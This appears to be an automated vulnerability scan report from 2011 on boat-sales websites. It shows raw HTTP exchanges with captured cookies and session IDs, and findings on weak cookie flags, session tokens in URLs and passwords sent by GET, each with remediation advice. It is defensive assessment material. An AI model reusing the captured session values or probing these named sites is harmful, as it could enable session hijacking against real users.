savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /boat-loans/consumer_loan_processing.html HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:42 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=132B8787464974B44186864C9F5B421F.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /boat-loans/forgot_password.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:41 GMT Server: Apache Set-Cookie: JSESSIONID=F61D5398BBCD60968135F133ABF40C44.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /boat-loans/myLoan.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:36 GMT Server: Apache Set-Cookie: JSESSIONID=C49ADEF3AACD827887E2EE0BB766CCF9.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com </title>
...[SNIP]...
6. Session token in URLpreviousnext There are 2 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /pboats/browse/Make/Regulator/search.html HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:43:29 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=F9EB4170B90548636802CC9D85DA196C.tomcat1; Path=/pboats Content-Language: en Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 39986
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-transport/index.jsp HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|26A0E41C85163315-40000182C057302B[CE]; Expires=Tue, 26 Jan 2016 19:32:09 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s44969984570052?AQB=1&ndh=1&t=27/0/2011%2013%3A32%3A32%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=emailLead_US&g=http%3A//www.yachtworld.com/southpaw/southpaw_5.html&cc=USD&c28=emailLead_US%3AsendLead%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.yachtworld.com/southpaw/%23&pev2=Form%20Analysis&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/southpaw/southpaw_5.html Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:32:09 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0E41C85163315-40000182C057302B[CE]; Expires=Tue, 26 Jan 2016 19:32:09 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s44969984570052?AQB=1&pccr=true&vidn=26A0E41C85163315-40000182C057302B&&ndh=1&t=27/0/2011%2013%3A32%3A32%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=emailLead_US&g=http%3A//www.yachtworld.com/southpaw/southpaw_5.html&cc=USD&c28=emailLead_US%3AsendLead%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.yachtworld.com/southpaw/%23&pev2=Form%20Analysis&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 19:32:09 GMT Last-Modified: Fri, 28 Jan 2011 19:32:09 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www422 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; Expires=Tue, 26 Jan 2016 19:16:55 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B
Response
